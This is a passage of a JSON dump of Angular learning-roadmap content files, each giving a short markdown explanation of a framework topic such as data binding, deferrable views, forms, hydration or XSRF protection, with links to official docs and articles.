    "content": "# Data Binding\n\nIn an Angular template, a binding creates a live connection between a part of the UI created from a template (a DOM element, directive, or component) and the model (the component instance to which the template belongs). This connection can be used to synchronize the view with the model, to notify the model when an event or user action takes place in the view, or both. Angular's Change Detection algorithm is responsible for keeping the view and the model in sync. Bindings always have two parts: a target which will receive the bound value, and a template expression which produces a value from the model.\n\nVisit the following resources to learn more:\n\n- [@official@Understand Binding](https://angular.dev/guide/templates/binding)\n- [@article@Data Binding in Angular](https://www.angularminds.com/blog/data-binding-in-angular)"
  },
  {
    "path": "src/data/roadmaps/angular/content/debugging-tests@f5v74Uw54LsB4FgdN6eCd.md",
    "content": "# Debugging Tests\n\nIf your tests aren't working as you expect them to, you can inspect and debug them in the browser. Be sure to set breakpoints to track your application's execution.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging Tests](https://angular.dev/guide/testing/debugging)\n- [@official@Devtools](https://angular.dev/tools/devtools)\n- [@video@Debug Like a Pro: Essential Breakpoint Techniques in Angular](https://www.youtube.com/watch?v=Be9Q1cchurQ)\n- [@video@Debug Angular 17 Code in VS Code with Break Points and Extensions](https://www.youtube.com/watch?v=r50UXhT9hc0)"
  },
  {
    "path": "src/data/roadmaps/angular/content/default@h4MMn0_qUN3YXEdMUJOyd.md",
    "content": "# @default\n\nThe `@default` clause is used to render a template when none of the `@case` blocks matches the value of the `@switch` conditional. `@default` is optional and can be omitted.\n\nVisit the following resources to learn more:\n\n- [@official@\\@switch](https://angular.dev/api/core/@switch#description)\n- [@article@Angular @switch: Complete Guide](https://blog.angular-university.io/angular-switch/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/defer@ONy-0olujU_FGZM7Wvfr2.md",
    "content": "# @defer\n\nA type of block that can be used to defer load the JavaScript for components, directives and pipes used inside a component template.\n\nVisit the following resources to learn more:\n\n- [@official@\\@defer](https://angular.dev/api/core/@defer)\n- [@article@Angular Defer Complete Guide](https://blog.angular-university.io/angular-defer/)\n- [@article@How to use Angular's defer block to improve performance](https://angular.love/en/how-to-use-angulars-defer-block-to-improve-performance)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/deferrable-views@CYjsXIOWtP5DJmYS-qR-s.md",
    "content": "# Deferrable Views\n\nDeferrable views can be used in component template to defer the loading of select dependencies within that template. Those dependencies include components, directives, and pipes, and any associated CSS. To use this feature, you can declaratively wrap a section of your template in a @defer block which specifies the loading conditions.\n\nVisit the following resources to learn more:\n\n- [@official@Deferrable Views](https://angular.dev/guide/defer)\n- [@article@Unlocking Performance with Deferrable views](https://medium.com/@kashif_khan/exploring-angular-17-unlocking-performance-with-deferrable-views-580b1977f430)\n- [@video@Angular 17 Defer Block](https://www.youtube.com/watch?v=h2rEGoqwr6o)\n- [@article@Learn how to unit test deferrable views](https://angular.love/en/learn-how-to-unit-test-the-deferrable-views)"
  },
  {
    "path": "src/data/roadmaps/angular/content/dependencies@5b590c7s-2XJ0rgdCYxLa.md",
    "content": "# Dependencies\n\nA provider is an instruction to the Dependency Injection system on how to obtain a value for a dependency. Most of the time, these dependencies are services that you create and provide.\n\nVisit the following resources to learn more:\n\n- [@official@Providing Dependencies in Modules](https://angular.dev/guide/ngmodules/providers)\n- [@article@Providers in Angular](https://www.scaler.com/topics/angular/providers-in-angular/)\n- [@article@Working with providers in Angular](https://sergeygultyayev.medium.com/working-with-providers-in-angular-eeb493151446)"
  },
  {
    "path": "src/data/roadmaps/angular/content/dependency-injection@8u9uHCRt9RU57erBy79PP.md",
    "content": "# Dependency Injection\n\nDependency Injection is one of the fundamental concepts in Angular. DI is wired into the Angular framework and allows classes with Angular decorators, such as Components, Directives, Pipes, and Injectables, to configure dependencies that they need.\n\nVisit the following resources to learn more:\n\n- [@official@Understanding Dependency Injection](https://angular.dev/guide/di/dependency-injection)\n- [@official@DI in Action](https://angular.dev/guide/di/di-in-action)\n- [@feed@Explore top posts about Dependency Injection](https://app.daily.dev/tags/dependency-injection?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/deployment@1fVi9AK6aLjt5QgAFbnGX.md",
    "content": "# Deployment\n\nThe Angular CLI command `ng deploy` executes the deploy CLI builder associated with your project. A number of third-party builders implement deployment capabilities to different platforms. You can add any of them to your project with `ng add`.\n\nVisit the following resources to learn more:\n\n- [@official@Deployment](https://angular.dev/tools/cli/deployment)\n- [@official@Firebase Hosting](https://firebase.google.com/docs/hosting)\n- [@official@Vercel: Angular Solutions](https://vercel.com/solutions/angular)\n- [@official@Netlify](https://docs.netlify.com/frameworks/angular/)\n- [@official@Cloudflare Pages](https://developers.cloudflare.com/pages/framework-guides/deploy-an-angular-site/#create-a-new-project-using-the-create-cloudflare-cli-c3)\n- [@official@AWS Amplify](https://docs.amplify.aws/angular/)\n- [@opensource@NGX AWS Deploy](https://github.com/Jefiozie/ngx-aws-deploy)\n- [@opensource@Angular CLI GitHub Pages](https://github.com/angular-schule/angular-cli-ghpages)"
  },
  {
    "path": "src/data/roadmaps/angular/content/developer-tools@EbJib-XfZFF9bpCtL3aBs.md",
    "content": "# Developer Tools\n\nAngular offers a suite of powerful developer tools designed to streamline and enhance the development process. These include the Angular CLI for efficient project setup and management, the Angular DevTools extension for advanced debugging and profiling, and the Angular Language Service for improved code editing and completion. Leveraging these tools will significantly improve your ability to write high-quality Angular code.\n\nVisit the following resources to learn more:\n\n- [@official@Angular Devtools](https://angular.dev/tools/devtools)\n- [@official@Angular CLI](https://angular.dev/tools/cli)\n- [@official@Language Service Docs](https://angular.dev/tools/language-service)\n- [@opensource@VS Code NG Language Service](https://github.com/angular/vscode-ng-language-service)"
  },
  {
    "path": "src/data/roadmaps/angular/content/devtools@T3MmS3bvMMgCUbOk3ktU7.md",
    "content": "# DevTools\n\nAngular DevTools is a browser extension that provides debugging and profiling capabilities for Angular applications.  You can view component trees and change detection cycles.\n\nVisit the following resources to learn more:\n\n- [@official@Angular Devtools](https://angular.dev/tools/devtools)\n- [@official@Chrome Web Store](https://chromewebstore.google.com/detail/angular-devtools/ienfalfjdbdpebioblfackkekamfmbnh)\n- [@official@Firefox Add-ons](https://addons.mozilla.org/en-US/firefox/addon/angular-devtools/)\n- [@video@Did you try the LATEST Angular developer tools?](https://www.youtube.com/watch?v=tAfe33fVW4w)"
  },
  {
    "path": "src/data/roadmaps/angular/content/directives@kGzlumFdZFxTRZ3HnCGFO.md",
    "content": "# Built-in directives\n\nSKDirectives are classes that add additional behavior to elements in your Angular applications. Use Angular's built-in directives to manage forms, lists, styles, and what users see.\n\n`NgClass` Adds and removes a set of CSS classes. | `NgStyle` Adds and removes a set of HTML styles. | `NgModel` Adds two-way data binding to an HTML form element.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in directives](https://angular.dev/guide/directives/)\n- [@article@BuiltIn Directives Types](https://thinkster.io/tutorials/angular-2-directives)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/dynamic-components@tC5ETtOuuUcybj1jI4CuG.md",
    "content": "# Dynamic Components\n\nIn addition to using a component directly in a template, you can also dynamically render components. There are two main ways to dynamically render a component: in a template with `NgComponentOutlet`, or in your TypeScript code with `ViewContainerRef`.\n\nVisit the following resources to learn more:\n\n- [@official@Programmatically Rendering Components](https://angular.dev/guide/components/programmatic-rendering)\n- [@video@Dynamic Component in Angular (2024)](https://www.youtube.com/watch?v=ncbftt3NWVo)\n- [@article@New Input Binding for NgComponentOutlet](https://medium.com/ngconf/new-input-binding-for-ngcomponentoutlet-cb18a86a739d)\n- [@article@Render dynamic components in Angular using ViewContainerRef](https://dev.to/railsstudent/render-dynamic-components-in-angular-using-viewcontainerref-160h)\n- [@video@Mastering ViewContainerRef for dynamic component loading in Angular17](https://www.youtube.com/watch?v=Ra4PITCt8m0)"
  },
  {
    "path": "src/data/roadmaps/angular/content/dynamic-forms@CpufN6DAOj5UNab9vnH0k.md",
    "content": "# Dynamic Forms\n\nDynamic forms in Angular are a flexible way to create forms where the structure (such as form fields and validation rules) is generated at runtime, rather than being hardcoded. By using Angular's `FormBuilder` and `FormGroup`, you can dynamically add, remove, or modify form controls based on user input, data fetched from a server, or other logic. This approach allows for creating complex forms that can adapt to different user scenarios, reducing the need for multiple form templates and making the codebase more maintainable and scalable.\n\nLearn more from the following resources:\n\n- [@official@Dynamic Forms Documentation](https://angular.dev/guide/forms/dynamic-forms)\n- [@video@Create a Dynamic Reactive Angular Form with JSON](https://www.youtube.com/watch?v=ByHw_RMjkKM)"
  },
  {
    "path": "src/data/roadmaps/angular/content/elf@rgPUcSKxG9DvXicLfC2Ay.md",
    "content": "# Elf\n\nElf is a reactive immutable state management solution built on top of RxJS. It uses custom RxJS operators to query the state and pure functions to update it. Elf encourages simplicity. It saves you the hassle of creating boilerplate code and offers powerful tools with a moderate learning curve, suitable for experienced and inexperienced developers alike.\n\nVisit the following resources to learn more:\n\n- [@official@What is Elf?](https://ngneat.github.io/elf/)\n- [@opensource@Elf](https://github.com/ngneat/elf)\n- [@opensource@Elf NG Router Store](https://github.com/ngneat/elf-ng-router-store)\n- [@article@Case Study: Elf](https://medium.com/@gronichomer/case-study-elf-%EF%B8%8F%EF%B8%8F-part-1-fe5e87c31c89)"
  },
  {
    "path": "src/data/roadmaps/angular/content/else-if@ys5untkSppGMFK-VsfuRt.md",
    "content": "# @else if\n\nWith the new control flow syntax, you gain `@else if` conditional blocks, something that is not possible with `@ngIf`. This addition makes the control flow syntax close to what we would write with just plain JavaScript.\n\nVisit the following resources to learn more:\n\n- [@official@\\@if](https://angular.dev/api/core/@if)\n- [@article@Angular @if: Complete Guide](https://blog.angular-university.io/angular-if/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/else@ORdPDad4HWJAfcZuS-7yM.md",
    "content": "# @else\n\nWhile the `@if` block can be helpful in many situations, it's common to also show fallback UI when the condition is not met. When you need a fallback, similar to JavaScript's else clause, add an `@else` block to accomplish the same effect.\n\nVisit the following resources to learn more:\n\n- [@official@Angular Official Docs - @else block](https://angular.dev/guide/templates/control-flow#conditionally-display-content-with-if-else-if-and-else)\n- [@article@Angular If Else Control Flow Blocks Explained](https://ultimatecourses.com/blog/angular-if-else-control-flow-blocks-explained)"
  },
  {
    "path": "src/data/roadmaps/angular/content/encapsulation@ctigvSYeFa77y3v7m11gk.md",
    "content": "# Encapsulation\n\nAn encapsulation policy for the component's styling. Possible values:\n\n- `ViewEncapsulation.Emulated`: Apply modified component styles in order to emulate a native Shadow DOM CSS\n  encapsulation behavior.\n- `ViewEncapsulation.None`: Apply component styles globally without any sort of encapsulation.\n- `ViewEncapsulation.ShadowDom`: Use the browser's native Shadow DOM API to encapsulate styles.\n\nIf not supplied, the value is taken from the CompilerOptions which defaults to `ViewEncapsulation.Emulated`.\n\nIf the policy is `ViewEncapsulation.Emulated` and the component has no styles nor {@link Component#styleUrls styleUrls},\nthe policy is automatically switched to `ViewEncapsulation.None`.\n\nVisit the following resources to learn more:\n\n- [@official@Style Scoping](https://angular.dev/guide/components/styling#style-scoping)\n- [@official@Component Encapsulation](https://angular.dev/api/core/Component#encapsulation)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/end-to-end-testing@yhNGhduk__ow8VTLc6inZ.md",
    "content": "# End-to-End Testing\n\nEnd-to-end or (E2E) testing is a form of testing used to assert your entire application works as expected from start to finish or \"end-to-end\". E2E testing differs from unit testing in that it is completely decoupled from the underlying implementation details of your code. It is typically used to validate an application in a way that mimics the way a user would interact with it. The `ng e2e` command will first check your project for the \"e2e\" target. If it can't locate it, the CLI will then prompt you which e2e package you would like to use and walk you through the setup.\n\nVisit the following resources to learn more:\n\n- [@official@End to End Testing](https://angular.dev/tools/cli/end-to-end)\n- [@official@Your First Test with Cypress](https://docs.cypress.io/guides/end-to-end-testing/writing-your-first-end-to-end-test)\n- [@official@Writing Tests: Introduction](https://nightwatchjs.org/guide/writing-tests/introduction.html)\n- [@official@Getting Started](https://webdriver.io/docs/gettingstarted/)\n- [@official@Puppeteer Angular Schematic](https://pptr.dev/guides/ng-schematics/#getting-started)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/enforce-trusted-types@5h7U0spwEUhB-hbjSlaeB.md",
    "content": "# Enforce Trusted Types\n\nIt is recommended that you use Trusted Types as a way to help secure your applications from cross-site scripting attacks. Trusted Types is a web platform feature that can help you prevent cross-site scripting attacks by enforcing safer coding practices. Trusted Types can also help simplify the auditing of application code.\n\nVisit the following resources to learn more:\n\n- [@official@Enforcing Trusted Types](https://angular.dev/best-practices/security#enforcing-trusted-types)\n- [@official@W3C - Trusted Types](https://w3c.github.io/trusted-types/dist/spec/)\n- [@official@Trusted Types API](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API)\n- [@article@How to use Trusted Types](https://web.dev/articles/trusted-types#how-to-use-trusted-types)"
  },
  {
    "path": "src/data/roadmaps/angular/content/event-binding@bKnpirSvex4oE4lAjiSSV.md",
    "content": "# Event Binding\n\nEvent binding lets you listen for and respond to user actions such as keystrokes, mouse movements, clicks, and touches.\n\nVisit the following resources to learn more:\n\n- [@official@Event Binding](https://angular.dev/guide/templates/event-binding)\n- [@article@Event Handling in Angular](https://medium.com/@theriyasharma24/event-handling-in-angular-a5854a61b4a5)"
  },
  {
    "path": "src/data/roadmaps/angular/content/feature-modules@w_BazXvINFyxDCHmlznfy.md",
    "content": "# Feature Modules\n\nFeature modules are `NgModules` for the purpose of organizing code. With feature modules, you can keep code related to a specific functionality or feature separate from other code. Delineating areas of your application helps with collaboration between developers and teams, separating directives, and managing the size of the root module.\n\nVisit the following resources to learn more:\n\n- [@official@Feature Modules](https://angular.dev/guide/ngmodules/feature-modules#how-to-make-a-feature-module)\n- [@video@Creating a Feature Module | Understanding Angular Modules](https://www.youtube.com/watch?v=VaPhaexVa1U)\n- [@article@Feature module with lazy loading in Angular 15](https://medium.com/@jaydeepvpatil225/feature-module-with-lazy-loading-in-angular-15-53bb8e15d193)"
  },
  {
    "path": "src/data/roadmaps/angular/content/filtering@nxUbl0eu3LsSL-Z8X6nP5.md",
    "content": "# Filtering\n\nRxJS provides a variety of filtering operators that you can use to filter and transform the data in a stream. You can use these operators in combination with other RxJS operators to create powerful and efficient data processing pipelines.\n\nVisit the following resources to learn more:\n\n- [@official@RxJS Operators](https://www.learnrxjs.io/learn-rxjs/operators)\n- [@article@Understanding RxJS Operators](https://medium.com/@madhavi792002/understanding-rxjs-operators-a-friendly-guide-to-reactive-programming-part-1-305dbc0c6e72)"
  },
  {
    "path": "src/data/roadmaps/angular/content/for@2kYS9w1UzQFZ1zhf01m9L.md",
    "content": "# @for\n\nThe @for block repeatedly renders content of a block for each item in a collection.\n\nVisit the following resources to learn more:\n\n- [@official@\\@for](https://angular.dev/api/core/@for)"
  },
  {
    "path": "src/data/roadmaps/angular/content/forms@Q36LQds8k_cSjijvXyWOM.md",
    "content": "# Forms\n\nForms are used to handle user inputs in many applications. It enables users from entering sensitive information to performing several data entry tasks.\n\nAngular provides two approaches to handle user inputs trough forms: reactive and template-driven forms.\n\nVisit the following resources to learn more:\n\n- [@official@Forms in Angular](https://angular.dev/guide/forms)\n- [@video@Angular Forms Tutorial](https://www.youtube.com/watch?v=-bGgjgx3fGs)\n- [@video@Building Forms in Angular Apps](https://www.youtube.com/watch?v=hAaoPOx_oIw)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/guards@PmC4zeaLpa5LoL4FhYXcG.md",
    "content": "# Route Guards\n\nUse route guards to prevent users from navigating to parts of an application without authorization.\n\nAngular route guards are interfaces provided by Angular that, when implemented, allow us \nto control the accessibility of a route based on conditions provided in function implementation of that interface.\n\nSome types of angular guards are `CanActivate`, `CanActivateChild`, `CanDeactivate`, `CanMatch` and `Resolve`.\n\nVisit the following resources to learn more:\n\n- [@official@Preventing Unauthorized Access](https://angular.dev/guide/routing/common-router-tasks#preventing-unauthorized-access)\n- [@official@Resolve](https://angular.dev/api/router/Resolve)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/http-client@8UY0HAvjY7bdbFpt-MM1u.md",
    "content": "# HTTP Client\n\nMost front-end applications need to communicate with a server over the HTTP protocol, to download or upload data and access other back-end services. Angular provides a client HTTP API for Angular applications, the `HttpClient` service class in `@angular/common/http`.\n\nVisit the following resources to learn more:\n\n- [@official@HTTP Client](https://angular.dev/guide/http)\n- [@article@Angular HTTP Client - Quickstart Guide](https://blog.angular-university.io/angular-http/)\n- [@article@Using HTTP Client in modern Angular applications](https://www.thisdot.co/blog/using-httpclient-in-modern-angular-applications)"
  },
  {
    "path": "src/data/roadmaps/angular/content/http-vulnerabilities@xH3RHPhsaqD9zIMms5OmX.md",
    "content": "# HTTP Vulnerabilities\n\nAngular has built-in support to help prevent two common HTTP vulnerabilities, cross-site request forgery (CSRF or XSRF) and cross-site script inclusion (XSSI). Both of these must be mitigated primarily on the server side, but Angular provides helpers to make integration on the client side easier.\n\nVisit the following resources to learn more:\n\n- [@official@Angular Security](https://angular.dev/best-practices/security)\n- [@article@Angular | HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/angular)"
  },
  {
    "path": "src/data/roadmaps/angular/content/httpclient-csrf@m2aw8vb4rz4IjshpoMyNx.md",
    "content": "# HttpClient CSRF\n\nHttpClient includes a built-in mechanism to prevent XSRF attacks. When making HTTP requests, an interceptor reads a token from a cookie (default name: XSRF-TOKEN) and sets it as an HTTP header (X-XSRF-TOKEN). Since only code running on your domain can read this cookie, the backend can verify that the HTTP request originates from your client application and not from an attacker.\n\nHowever, HttpClient only handles the client-side aspect of XSRF protection. Your backend service must be configured to set the cookie for your page and verify that the header is present on all relevant requests. Without this backend configuration, Angular’s default XSRF protection will not be effective.\n\nVisit the following resources to learn more:\n\n- [@official@Angular Security](https://angular.dev/best-practices/security#httpclient-xsrf-csrf-security)\n- [@article@How can you protect Angular Web app from cross site request forgery?](https://www.linkedin.com/advice/3/how-can-you-protect-angular-web-app-from-cross-site-pyqwc)\n- [@article@Cross Site Request Forgery: XSRF protection in Angular](https://borstch.com/blog/development/cross-site-request-forgery-xsrf-protection-in-angular)"
  },
  {
    "path": "src/data/roadmaps/angular/content/hydration@NY_MfBNgNmloiRGcIvfJ1.md",
    "content": "# Hydration\n\nHydration is the process that restores the server-side rendered application on the client. This includes things like reusing the server rendered DOM structures, persisting the application state, transferring application data that was retrieved already by the server, and other processes. Hydration can be enabled for server-side rendered (SSR) applications only. You can enable hydration manually by visiting your main application component or module and importing `provideClientHydration` from `@angular/platform-browser`.\n\nVisit the following resources to learn more:\n\n- [@official@Hydration](https://angular.dev/guide/hydration)\n- [@official@provideClientHydration](https://angular.dev/api/platform-browser/provideClientHydration)\n- [@article@Angular Hydration](https://www.bacancytechnology.com/blog/angular-hydration)\n- [@video@Angular SSR Deep Dive (With Client HYDRATION)](https://www.youtube.com/watch?v=U1MP4uCuUVI)"
  },
  {
    "path": "src/data/roadmaps/angular/content/if@U1Zy2T-2ki9pDkXn9hn-I.md",
    "content": "# @if\n\nThe @if block conditionally displays its content when its condition expression is truthy. Content is added and removed from the DOM based on the evaluation of conditional expressions in the @if and @else blocks.\n\nVisit the following resources to learn more:\n\n- [@official@\\@if](https://angular.dev/api/core/@if)\n- [@video@Narrow Down signal value type within an if statement](https://egghead.io/lessons/angular-narrow-down-angular-s-signal-value-type-within-an-if-statement)"
  },
  {
    "path": "src/data/roadmaps/angular/content/image-optimization@1WIKjn3nxYDMIhBL17aYQ.md",
    "content": "# Image Optimization\n\nThe NgOptimizedImage directive makes it easy to adopt performance best practices for loading images.\n\nVisit the following resources to learn more:\n\n- [@official@Image Optimization](https://angular.dev/guide/image-optimization)\n- [@article@Automatic Adjustments in Angular's optimized images](https://medium.com/ngconf/automatic-adjustments-in-angulars-optimized-images-0034335e0374)\n- [@article@Boost your application's performance with NgOptimizedImage](https://angular.love/en/boost-your-applications-performance-with-ngoptimizedimage)"
  },
  {
    "path": "src/data/roadmaps/angular/content/imports@ghbrJhuGvscnNGCtVLh5_.md",
    "content": "# Imports\n\nThe `imports` property specifies the `standalone` component's template dependencies — those directives, components, and\npipes that can be used within its template.\n\nVisit the following resources to learn more:\n\n- [@official@Importing and Using Components](https://angular.dev/guide/components/importing)\n- [@official@Component - API](https://angular.dev/api/core/Component#imports)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/input--output@VsU6713jeIjAOEZnF6gWx.md",
    "content": "# Input output\n\n`@Input()` and `@Output()` give a child component a way to communicate with its parent component. `@Input()` lets a parent component update data in the child component. Conversely, `@Output()` lets the child send data to a parent component.\n\nVisit the following resources to learn more:\n\n- [@official@inputs](https://angular.dev/guide/components/inputs)\n- [@official@outputs](https://angular.dev/guide/components/outputs)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/inputs-as-signals@LcJyAfv9hjyUNXUVyPRP4.md",
    "content": "# Inputs as Signals\n\nSignal inputs allow values to be bound from parent components. Those values are exposed using a Signal and can change during the lifecycle of your component.  Angular supports two variants of inputs: `Optional` and `Required`.\n\nVisit the following resources to learn more:\n\n- [@official@Inputs as Signals](https://angular.dev/guide/signals/inputs)\n- [@article@Angular Signal Inputs: Complete Guide to input\\(\\)](https://blog.angular-university.io/angular-signal-inputs/)\n- [@video@Angular's New Signal Inputs](https://www.youtube.com/watch?v=yjCeaiWXC0U)"
  },
  {
    "path": "src/data/roadmaps/angular/content/internationalization@Xxyx3uzy5TpNhgR1IysMN.md",
    "content": "# Internationalization\n\nInternationalization, sometimes referenced as i18n, is the process of designing and preparing your project for use in different locales around the world. Localization is the process of building versions of your project for different locales.\n\nVisit the following resources to learn more:\n\n- [@official@Internationalization](https://angular.dev/guide/i18n)\n- [@article@Angular i18n](https://lokalise.com/blog/angular-i18n/)\n- [@opensource@Transloco](https://github.com/jsverse/transloco)\n- [@opensource@Ngx Translate](https://github.com/ngx-translate/core)\n- [@video@Angular 18 Multi-Language Support](https://www.youtube.com/watch?v=hIz0OglmT0Q)"
  },
  {
    "path": "src/data/roadmaps/angular/content/interpolation@XHpfHRIlFh19FJIE07u7i.md",
    "content": "# Interpolation\n\nInterpolation refers to embedding expressions into marked up text. By default, interpolation uses the double curly braces {{ and }} as delimiters. Angular replaces currentCustomer with the string value of the corresponding component property.\n\nVisit the following resources to learn more:\n\n- [@official@Interpolation](https://angular.dev/guide/templates/interpolation)\n- [@official@Displaying values with interpolation](https://angular.dev/guide/templates/interpolation)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/introduction-to-angular@KDd40JOAvZ8O1mfhTYB3K.md",
    "content": "# Introduction to Angular\n\nAngular is a popular open-source front-end web application framework developed by Google. It is written in TypeScript and allows developers to build dynamic, single-page web applications with ease. Angular provides a comprehensive set of features for creating interactive and responsive user interfaces, making it a powerful tool for modern web development.\n\nLearn more from the following resources:\n\n- [@official@Angular](https://angular.dev/)\n- [@official@Angular Documentation](https://angular.dev/overview)\n- [@official@Angular Playground](https://angular.dev/playground)\n- [@official@Angular API Reference](https://angular.dev/api)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/language-service@ql7SyxrRmjpiXJ9hQeWPq.md",
    "content": "# Language Service\n\nThe Angular Language Service provides code editors with a way to get completions, errors, hints, and navigation inside Angular templates (external and in-line). Anytime you open an Angular application for the first time, an installation prompt will occur.\n\nVisit the following links to learn more:\n\n- [@official@Language Service Docs](https://angular.dev/tools/language-service)\n- [@opensource@VS Code NG Language Service](https://github.com/angular/vscode-ng-language-service)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/lazy-loading-modules@bLERvEERmNI5AgxtEYokZ.md",
    "content": "# Lazy Loading Modules\n\nBy default, NgModules are eagerly loaded. This means that as soon as the application loads, so do all the NgModules, whether they are immediately necessary or not. For large applications with lots of routes, consider lazy loading —a design pattern that loads NgModules as needed. Lazy loading helps keep initial bundle sizes smaller, which in turn helps decrease load times.\n\nVisit the following resources to learn more:\n\n- [@official@Lazy Loading](https://angular.dev/guide/ngmodules/lazy-loading)\n- [@article@Angular Lazy Loading](https://www.bairesdev.com/blog/angular-lazy-loading/)\n- [@video@Lazy Loading in Angular: Improving Performance and User Experience](https://www.youtube.com/watch?v=mjhi27YfV8Y)"
  },
  {
    "path": "src/data/roadmaps/angular/content/lazy-loading@ewbDdPYv2SJl_jW3RVHQs.md",
    "content": "# Lazy loading\n\nLazy loading is a technique in Angular that allows you to load JavaScript components asynchronously when a specific route is activated. It improves the application load time speed by splitting the application into several bundles. The bundles are loaded as required when the user navigates through the app.\n\nVisit the following resources to learn more:\n\n- [@official@Lazy-loading Feature Modules](https://angular.dev/guide/ngmodules/lazy-loading)\n- [@video@Angular Tutorial - Lazy Loading](https://www.youtube.com/watch?v=JjIQq9lh-Bw)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/let@AwOM0ucg6W7TohdUd7KWT.md",
    "content": "# @let\n\n@let allows you to define a local variable and re-use it across the template.\n\nVisit the following resources to learn more:\n\n- [@official@\\@let](https://angular.dev/api/core/@let)\n- [@article@Angular's next feature let syntax](https://nhannguyendevjs.medium.com/angulars-next-feature-let-syntax-afba6354112b)"
  },
  {
    "path": "src/data/roadmaps/angular/content/libraries@cl89U8atD6gw5rMGUm4Ix.md",
    "content": "# Library\n\nUse the Angular CLI and the npm package manager to build and publish your library as an npm package.\n\nVisit the following resources to learn more:\n\n- [@official@Libraries](https://angular.dev/tools/libraries/creating-libraries)\n- [@official@Angular CLI](https://angular.dev/tools/cli)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/link-identification@5-RCB8AiDbkdIFYNXKWge.md",
    "content": "# Link Identification\n\nCSS classes applied to active `RouterLink` elements, such as `RouterLinkActive`, provide a visual cue to identify the active link. Unfortunately, a visual cue doesn't help blind or visually impaired users. Applying the `aria-current` attribute to the element can help identify the active link.\n\nVisit the following resources to learn more:\n\n- [@official@Accessibility - Active links identification](https://angular.dev/best-practices/a11y#active-links-identification)\n- [@article@ARIA Current](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-current)"
  },
  {
    "path": "src/data/roadmaps/angular/content/local-setup@FVH0lnbIZ2m5EfF2EJ2DW.md",
    "content": "# Local Setup\n\nTo install Angular CLI on your local system, you need to install `Node.js`. Angular requires an active LTS or maintenance LTS version of Node. Angular CLI uses Node and its associated package manager, npm, to install and run JavaScript tools outside the browser.  Once you have Node installed, you can run `npm install -g @angular/cli` to install the Angular CLI.\n\nVisit the following resources to learn more:\n\n- [@official@Local set-up](https://angular.dev/tools/cli/setup-local)\n- [@official@Version Compatibility Guide](https://angular.dev/reference/versions)\n- [@video@How To Install Angular CLI In Windows 10 | In Under 2 Minutes!](https://www.youtube.com/watch?v=vjgACKkPENg)\n- [@video@How to Install Multiple Versions of Angular in Your Development Environment](https://www.youtube.com/watch?v=LYNG3kcKRQ8)"
  },
  {
    "path": "src/data/roadmaps/angular/content/locales-by-id@dVKl3Z2Rnf6IB064v19Mi.md",
    "content": "# Locales by ID\n\nAngular uses the Unicode locale identifier (Unicode locale ID) to find the correct locale data for internationalization of text strings. A locale ID specifies the language, country, and an optional code for further variants or subdivisions. A locale ID consists of the language identifier, a hyphen (-) character, and the locale extension. By default, Angular uses `en-US` as the source locale of your project.\n\nVisit the following resources to learn more:\n\n- [@official@Refer to Locales by ID](https://angular.dev/guide/i18n/locale-id)\n- [@opensource@Angular locales](https://github.com/angular/angular/tree/main/packages/common/locales)\n- [@article@Codes arranged alphabetically by alpha-3/ISO 639-2 Code](https://www.loc.gov/standards/iso639-2/php/code_list.php)\n- [@article@Unicode CLDR Specifications](https://cldr.unicode.org/index/cldr-spec)"
  },
  {
    "path": "src/data/roadmaps/angular/content/localize-package@W8OwpEw00xn0GxidlJjdc.md",
    "content": "# Localize Package\n\nTo take advantage of the localization features of Angular, use the Angular CLI to add the `@angular/localize` package to your project. If `@angular/localize` is not installed and you try to build a localized version of your project (for example, while using the i18n attributes in templates), the Angular CLI will generate an error, which would contain the steps that you can take to enable i18n for your project.\n\nVisit the following resources to learn more:\n\n- [@official@Add the localize package](https://angular.dev/guide/i18n/add-package)\n- [@video@Learn to Internationalize Your Angular Apps with @angular/localize](https://www.youtube.com/watch?v=5h7HPY1OMfU)\n- [@video@Multi-Language Support in Angular: A Guide to Localization and Internationalization](https://www.youtube.com/watch?v=ouI21AyJ9tE)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/making-requests@HjGAv3aV-p4ijYJ8XYIw3.md",
    "content": "# Making Requests\n\n`HttpClient` has methods corresponding to the different HTTP verbs used to make requests, both to load data and to apply mutations on the server. Each method returns an RxJS `Observable` which, when subscribed, sends the request and then emits the results when the server responds.\n\nVisit the following resources to learn more:\n\n- [@official@Making Requests](https://angular.dev/guide/http/making-requests)\n- [@video@How to make HTTP request in Angular 18](https://www.youtube.com/watch?v=3vQpYKlHmS0)"
  },
  {
    "path": "src/data/roadmaps/angular/content/metadata@Szgr8dnZNi-z5i6raIJzW.md",
    "content": "# Metadata\n\nMetadata in Angular components refers to the configuration information that is used to define and configure the behavior of a component. It is specified using decorators, which are functions that add metadata to classes, properties, and methods.\n\nVisit the following resources to learn more:\n\n- [@official@Component API](https://angular.dev/api/core/Component)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/model-inputs@IeU6ClS_yp6BYKdkQOJVf.md",
